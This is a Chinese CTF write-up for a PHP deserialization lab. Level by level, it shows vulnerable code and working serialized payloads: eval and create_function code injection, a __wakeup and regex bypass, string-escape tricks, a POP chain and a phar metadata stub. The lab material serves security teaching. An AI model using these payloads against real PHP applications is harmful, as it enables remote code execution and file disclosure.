PHP反序列化靶场(php-SER-libs-main 第一部分)
此次靶场为utools-php-unserialize-main。适合有一定基础的师傅,内容是比较全面的,含有我们的大部分ctf中PHP反序列化的题型。
level1:
<?php
highlight_file(__FILE__);
class a{var $act;function action(){eval($this->act);}
}
$a=unserialize($_GET['flag']);
$a->action();
?>
很简单的一个PHP代码,很明显的看到命令执行点是eval调用act。
直接给出构造:
<?php
highlight_file(__FILE__);
class a{var $act;function action(){eval($this->act);}
}
$a=unserialize($_GET['flag']);
$a->action();
$b=new a();
$b->act="show_source('flag.php');";
echo serialize($b);
?>
得出flag:flag{level1_is_over_come_0n}。
level2
<?php
highlight_file(__FILE__);
include("flag.php");
class mylogin{var $user;var $pass;function __construct($user,$pass){$this->user=$user;$this->pass=$pass;}function login(){if ($this->user=="daydream" and $this->pass=="ok"){return 1;}}
}
$a=unserialize($_GET['param']);
if($a->login())
{echo $flag;
}
?>
代码分析:
很明显只要能调用login函数我们就能输出flag,而实例化之后只要能使
if ($this->user=="daydream" and $this->pass=="ok")
成立就能够调用我们的login()函数。
<?php
highlight_file(__FILE__);
include("flag.php");
class mylogin{var $user;var $pass;
}
$a=new mylogin();
$a->pass="ok";
$a->user="daydream";
echo serialize($a);
?>
得到flag:flag{level2_is_0k_here_you_g0}.
level3
<?php
highlight_file(__FILE__);
include("flag.php");
class mylogin{var $user;var $pass;function __construct($user,$pass){$this->user=$user;$this->pass=$pass;}function login(){if ($this->user=="daydream" and $this->pass=="ok"){return 1;}}
}
$a=unserialize($_COOKIE['param']);
if($a->login())
{echo $flag;
}
?>
和上面的一模一样的思路但是只要对param参数进行url编码即可。
<?php
highlight_file(__FILE__);
class mylogin{var $user;var $pass;
}
$a=new mylogin('daydream','ok');
echo urlencode(serialize($a));
?>
得到flag:flag{level3_is_s0_easy_right?}
level4
<?php
highlight_file(__FILE__);
class func
{public $key;public function __destruct(){ unserialize($this->key)();}
}class GetFlag
{ public $code;public $action;public function get_flag(){$a=$this->action;$a('', $this->code);}
}unserialize($_GET['param']);?>
想要我们的flag必须要自己构造我们的执行函数。
<?php
highlight_file(__FILE__);
class func
{public $key;
}class GetFlag
{public $code;public $action;
}
$a1=new func();
$b=new GetFlag();
$b->code='}include("flag.php");echo $flag;//';
$b->action="create_function";
$a1->key=serialize(array($b,"get_flag"));
echo serialize($a1);
在这里我们传入我们的create_function函数创建一个匿名函数,并且写入我们的$code赋予的执行语句。
结果就是会执行我们的PHP指令将flag文件包含进来并且输出flag:flag{NI_T_level4_easy_ge_pi}
level5
<?phpclass secret{var $file='index.php';public function __construct($file){$this->file=$file;}function __destruct(){include_once($this->file);//include_once()函数:引入并执行指定的 PHP 文件echo $flag;}function __wakeup(){$this->file='index.php';}}$cmd=$_GET['cmd'];if (!isset($cmd)){echo show_source('index.php',true);}else{if (preg_match('/[oc]:\d+:/i',$cmd)){//匹配一个或多个数字以及字母o或cecho "Are you daydreaming?";}else{unserialize($cmd);}}//sercet in flag.php
?>
绕过wakeup()函数,然后进行编码绕过正则即可得到flag。
<?php
class secret{var $file;
}
$pa=new secret();
$pa->file="flag.php";
echo serialize($pa),"\n";//O:6:"secret":1:{s:4:"file";s:8:"flag.php";}
$cmd=urlencode('O:+6:"secret":2:{s:4:"file";s:8:"flag.php";}');
echo $cmd;
?>
level6
<?php
highlight_file(__FILE__);
class secret{private $comm;public function __construct($com){$this->comm = $com;}function __destruct(){echo eval($this->comm);}
}
$param=$_GET['param'];
$param=str_replace("%","daydream",$param);//会将payload中的%替换为daydream
unserialize($param);
?>
也非常的简单我们只需要执行eval的指令即可。关于str_replace()我们只要没有%不就绕过了吗。
<?php
highlight_file(__FILE__);
class secret
{public $comm;
}
$pa=new secret();
$pa->comm="show_source('flag.php');";
echo serialize($pa);
得到flag:flag{level6_Is_yue_lai_yue_fu_yan}
level7
<?php
highlight_file(__FILE__);
class you
{private $body;private $pro='';function __destruct(){$project=$this->pro;$this->body->$project();}
}class my
{public $name;function __call($func, $args)//调用无法访问的方法时自动执行 {if ($func == 'yourname' and $this->name == 'myname') {include('flag.php');echo $flag;}}
}
$a=$_GET['a'];
unserialize($a);
?>
也比较简单,我们只需要触发我们的call函数并且达成条件即可得到flag。
<?php
class you
{public $body;public $pro;function __destruct(){$project=$this->pro;$this->body->$project();}
}class my
{public $name;function __call($func, $args){}
}
$p=new you();
$p->body=new my();
$p->pro="yourname";
$p->body->name="myname";
echo urlencode(serialize($p));
最好是进行一次编码后再进行上传。得到flag:flag{level7_running_with_progress}
level8
<?php
highlight_file(__FILE__);
function filter($name){$safe=array("flag","php");$name=str_replace($safe,"hack",$name);return $name;
}
class test{var $user;var $pass='daydream';function __construct($user){$this->user=$user;}
}$param=$_GET['param'];
$profile=unserialize(filter($param));
if ($profile->pass=='escaping'){echo file_get_contents("flag.php");
}
?>
一道简单的字符串逃逸,根据它本来就定义的内容$name=str_replace($safe,"hack",$name);$safe=array("flag","php");
我们可以知道会将$name参数里面的所有的flag或者php全部替换为hack。
关键点来了,如果我们hack替换的是php那么我们是不是就多出一个字符内容了。
根据PHP的特性反序列化以;}结束,后面的字符串不影响正常的反序列化。所以在这个题目中我们只需要利用替换后的内容会多一个字符就可以在序列上挤掉原序列,再加入我们构造的序列来执行恶意代码。
<?php
function filter($name){$safe=array("flag","php");$name=str_replace($safe,"hack",$name);return $name;
}
class test{var $user;var $pass='daydream';
}
$a=new test();
$a->user='phpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphp";s:4:"pass";s:8:"escaping";}';
echo serialize($a);
在这里我们先计算好原序列化字符 ,再构造我们自己的序列化内容但是要确保它逃逸 ,也就是替换后多出来的字符与原字符一致。
得到flag:$flag="flag{level8_g0_fun_popp1ng}";
level9
<?php
//flag is in flag.php
highlight_file(__FILE__);
class Modifier {private $var;public function append($value){include($value);echo $flag;}//$value赋值为flag.phppublic function __invoke(){//将对象当成函数的时候自动调用$this->append($this->var);}
}
class Show{public $source;public $str;public function __toString(){return $this->str->source;}public function __wakeup(){echo $this->source;}
}
class Test{public $p;public function __construct(){$this->p = array();}public function __get($key){//获取无法访问的属性自动调用$function = $this->p;return $function();}
}
if(isset($_GET['pop'])){unserialize($_GET['pop']);
}
?>
构造pop链:
很明显我们的输出点位在Modifier里,先将var赋值为flag.php。
观察代码我们可以利用wakeup()函数内的语句触发我们的toString(),然后toString()触发construct(),construct()会触发get($key)。利用get($key)触发我们的invoke(),然后我们的invoke()就会调用append($value)执行输出flag的行为。
<?phpclass Modifier {private $var="flag.php";public function append($value){include($value);echo $flag;}public function __invoke(){$this->append($this->var);}
}class Show{public $source;public $str;public function __toString(){return $this->str->source;}public function __wakeup(){echo $this->source;}
}class Test{public $p;public function __construct(){$this->p = array();}public function __get($key){$function = $this->p;return $function();}
}$a=new Show();
$a->source=new Show();
$a->source->str=new Test();
$a->source->str->p=new Modifier();
echo serialize($a)."\n";
echo urlencode(serialize($a))."\n";
得到我们的flag:flag{welcom_t0_SOAP_In_level9}
level11
<?php
highlight_file(__FILE__);
class TestObject {public function __destruct() {include('flag.php');echo $flag;}
}
$filename = $_POST['file'];
if (isset($filename)){echo md5_file($filename);
}
//upload.php
?>
很明显是phar反序列化:
class TestObject {
}@unlink("level11.phar");
$phar = new Phar("level11.phar");
$phar->startBuffering();
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>");
$a = new TestObject();
$phar->setMetadata($a);
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();
?>
在upload目录上传文件,利用phar://读取上传文件目录得到flag:flag{Can_level11_s_Phar_be_s0_easy?}
相关文章:
PHP反序列化靶场(php-SER-libs-main 第一部分)
此次靶场为utools-php-unserialize-main。适合有一定基础的师傅,内容是比较全面的,含有我们的大部分ctf中PHP反序列化的题型。 level1: <?php highlight_file(__FILE__); class a{var $act;function action(){eval($this->act);} } …...

基于大数据爬虫+Python+SpringBoot+Hive的网络电视剧收视率分析与可视化平台系统(源码+论文+PPT+部署文档教程等)
博主介绍:CSDN毕设辅导第一人、全网粉丝50W,csdn特邀作者、博客专家、腾讯云社区合作讲师、CSDN新星计划导师、Java领域优质创作者,博客之星、掘金/华为云/阿里云/InfoQ等平台优质作者、专注于Java技术领域和学生毕业项目实战,高校老师/讲师/同行前辈交流✌ 技术范围…...

DHCP与FTP
DHCP dhcp:动态主机配置的协议,应用在大型的局域网环境中 服务端和客户端 服务端:提供IP地址,某种特定功能的提供者 客户端:请求IP地址,请求对应的功能的使用者 服务端的端口号:67 客户端的端…...

云渲染与云电脑,应用场景与技术特点全对比
很多朋友问,你们家一会宣传云渲染,一会宣传云电脑的,我到底用哪个?今天,渲染101云渲染和川翔云电脑就来对比下两者的区别! 渲染101&川翔云电脑,都是我们的产品,邀请码6666 一、…...

RockPI 4A单板Linux 4.4内核下的RK3399 GPIO功能解析
RockPI 4A单板Linux 4.4内核下的RK3399 GPIO功能解析 摘要:本文将基于RockPI 4A单板,介绍Linux 4.4内核下RK3399 GPIO(通用输入输出)功能的使用方法。通过详细的代码解析和示例,帮助读者理解如何在Linux内核中使用GPI…...
【Vue】Vue3.0(二十三)Vue3.0中$attrs 的概念和使用场景
文章目录 一、$attrs的概念和使用场景概念使用场景 二、代码解释Father.vueChild.vueGrandChild.vue 三、另一个$attrs使用的例子 一、$attrs的概念和使用场景 概念 在Vue 3.0中,$attrs是一个组件实例属性,它包含了父组件传递给子组件的所有非props属性…...
RHEL/CENTOS 7 ORACLE 19C-RAC安装(纯命令版)
一 首先需要安装两个CENTOS 7虚拟机(此处省略)。 由于我们是要安装ORCLE-RAC双节点集群所以至少每个CENTOS虚拟机上需要两块网卡,并且两块网卡都是HOST-ONLY具体步骤请看视频一《为虚拟机添加网卡》 这里大家需要注意的是,我们需要绑定两台机器的IP一共…...

CCSK:面试云计算岗的高频问题
在竞争激烈的云计算岗位求职市场中,拥有 CCSK云计算安全知识认证无疑能为你增添强大的竞争力。而深入了解云计算面试中的高频问题并熟练掌握答案,更是迈向成功的关键一步。 一、AWS 相关问题 AWS 是重要考点,常被问到其关键特性,…...

C++ String(1)
String的头文件是#include <string> String本质上是一个类,是C实现好的一个类 初学只用学重要的部分,不可能一次性全部学完 1.构造函数 我们先来看它的几个构造函数 首先(1)就是无参的构造 (2)是…...
ts 中 ReturnType 作用
ReturnType 用于获取函数的返回值类型。 一、基本概念和语法 1. 定义和语法结构 ReturnType是一个泛型类型,其语法为ReturnType<T>,其中T是一个函数类型。例如,如果有一个函数add,ReturnType<typeof add>就可以获取…...

Hadoop + Hive + Apache Ranger 源码编译记录
背景介绍 由于 CDH(Clouderas Distribution Hadoop )近几年已经开始收费并限制节点数量和版本升级,最近使用开源的 hadoop 搭了一套测试集群,其中的权限管理组件用到了Apache Ranger,所以记录一下编译打包过程。 组件…...

Java从入门到精通笔记篇(十二)
枚举类型与泛型 枚举类型可以取代以往常量的定义方式,即将常量封装在类或接口中 使用枚举类型设置常量 关键字为enum 枚举类型的常用方法 values()方法 枚举类型实例包含一个values()方法,该方法将枚举中所有的枚举值以数组的形式返回。 valueOf()可…...
入侵排查之Linux
目录 1.黑客入侵后的利用思路 2.入侵排查思路 2.1.账号安全 2.1.1.用户信息文件/etc/passwd 2.1.2.影子文件/etc/shadow 2.1.3.入侵排查 2.1.3.1.排查当前系统登录信息 2.1.4.2.查询可以远程登录的账号信息 2.2.历史命令 2.2.1.基本使用 2.2.1.1.root历史命令 2.2.…...

从0开始学习Linux——文件管理
往期目录: 从0开始学习Linux——简介&安装 从0开始学习Linux——搭建属于自己的Linux虚拟机 从0开始学习Linux——文本编辑器 从0开始学习Linux——Yum工具 从0开始学习Linux——远程连接工具 从0开始学习Linux——文件目录 从0开始学习Linux——网络配置 从0开…...

全面介绍软件安全测试分类,安全测试方法、安全防护技术、安全测试流程
一、软件系统设计开发运行安全 1、注重OpenSource组件安全检查和版本更新(black duck) 现在很多云、云服务器都是由开源的组件去搭成的,对于OpenSource组件应该去做一些安全检查和版本更新,尤其是版本管理,定期对在运…...
Leidenアルゴリズムの詳細解説:Pythonによるネットワーク分割の実装
Leidenアルゴリズムの詳細解説:Pythonによるネットワーク分割の実装 目次1. Leidenアルゴリズムの概要2. Python実装例3. グループ分けの結果分析4. なぜこのような分割になるのか5. Leidenアルゴリズムの仕組み6. 実践的な応用例7. 初心者へのアドバイス8. まとめ …...

安当ASP系统:适合中小企业的轻量级Radius认证服务器
安当ASP(Authentication Service Platform)身份认证系统是一款功能强大的身份认证服务平台,特别适用于中小企业。其中,简约型Radius认证服务器是安当ASP系统中的一个重要组成部分。以下是对该系统的详细介绍: 一、主要…...
Vue 组件间传值指南:Vue 组件通信的七种方法
前言 Vue 的组件系统非常强大,允许我们将应用程序拆分成独立且可复用的组件。随着前端开发的复杂性增加,组件间的数据传递和状态管理显得尤为重要。本文将详细介绍几种在 Vue 中常用的组件间传值方法,并结合实际代码示例,帮助您更…...

推荐一个超漂亮ui的网页应用设计
https://andi.cn/download/65211.html...

有什么初学算法的书籍推荐?
对于初学算法的读者,以下是一些值得推荐的书籍: 1、算法超简单:趣味游戏带你轻松入门与实践 作者:童晶 著 推荐理由:本书把趣味游戏应用于算法教学,提升读者的学习兴趣,并通过可视化的图解和动…...
SQL进阶之旅 Day 18:数据分区与查询性能
【SQL进阶之旅 Day 18】数据分区与查询性能 文章简述 在现代数据库系统中,随着数据量的快速增长,如何高效地管理和查询大规模数据成为开发人员和数据分析师面临的重要挑战。本文深入探讨了数据分区的概念及其对查询性能的提升作用,结合理论…...
第1章:Neo4j简介与图数据库基础
1.1 图数据库概述 在当今数据爆炸的时代,数据不仅仅是以量取胜,更重要的是数据之间的关联关系。传统的关系型数据库在处理高度关联数据时往往力不从心,而图数据库则应运而生,成为处理复杂关联数据的理想选择。 传统关系型数据库…...
移除元素-JavaScript【算法学习day.04】
题目链接:27. 移除元素 - 力扣(LeetCode) 第一种思路 标签:拷贝覆盖 主要思路是遍历数组 nums,每次取出的数字变量为 num,同时设置一个下标 ans 在遍历过程中如果出现数字与需要移除的值不相同时ÿ…...
【Python进阶】元类编程
目录 🌟 前言🏗️ 技术背景与价值🩹 当前技术痛点🛠️ 解决方案概述👥 目标读者说明 🧠 一、技术原理剖析📊 核心概念图解💡 核心作用讲解🔧 关键技术模块说明⚖️ 技术选…...

使用VuePress2.X构建个人知识博客,并且用个人域名部署到GitHub Pages中
使用VuePress2.X构建个人知识博客,并且用个人域名部署到GitHub Pages中 什么是VuePress VuePress 是一个以 Markdown 为中心的静态网站生成器。你可以使用 Markdown 来书写内容(如文档、博客等),然后 VuePress 会帮助你生成一个…...

有没有 MariaDB 5.5.56 对应 MySQL CONNECTION_CONTROL 插件
有没有 MariaDB 对应 MySQL CONNECTION_CONTROL 插件 背景 写这篇文章的目的是因为昨晚半夜突然被call起来,有一套系统的mysql数据库启动失败了。尝试了重启服务器也不行。让我协助排查一下问题出在哪。 分析过程 一开始拿到服务器IP地址,就去数据库…...

电力系统时间同步系统之三
2.6 电力系统时间同步装置 时间同步装置主要完成时间信号和时间信息的同步传递,并提供相应的时间格式和物理接口。时间同步装置主要由三大部分组成:时间输入、内部时钟和时间输出,如图 2-25 所示。输入装置的时间信号和时间信息的精度必须不…...

mysql 页的理解和实际分析
目录 页(Page)是 Innodb 存储引擎用于管理数据的最小磁盘单位B树的一般高度记录在页中的存储 innodb ibd文件innodb 页类型分析ibd文件查看数据表的行格式查看ibd文件 分析 ibd的第4个页:B-tree Node类型先分析File Header(38字节-描述页信息…...
二.单例模式
一.单例模式的定义 单例模式是一种创建型设计模式,确保一个类只有一个实例,并提供该实例的全局访问点。 1.1.核心目标 唯一实例:限制类的实例化次数仅一次。全局访问:提供统一的访问入口(通常是静…...
分页查询的实现
第一步:导入pom依赖 <!--配置PageHelper分页插件--><dependency><groupId>com.github.pagehelper</groupId><artifactId>pagehelper-spring-boot-starter</artifactId><version>1.4.6</version><exclusions>…...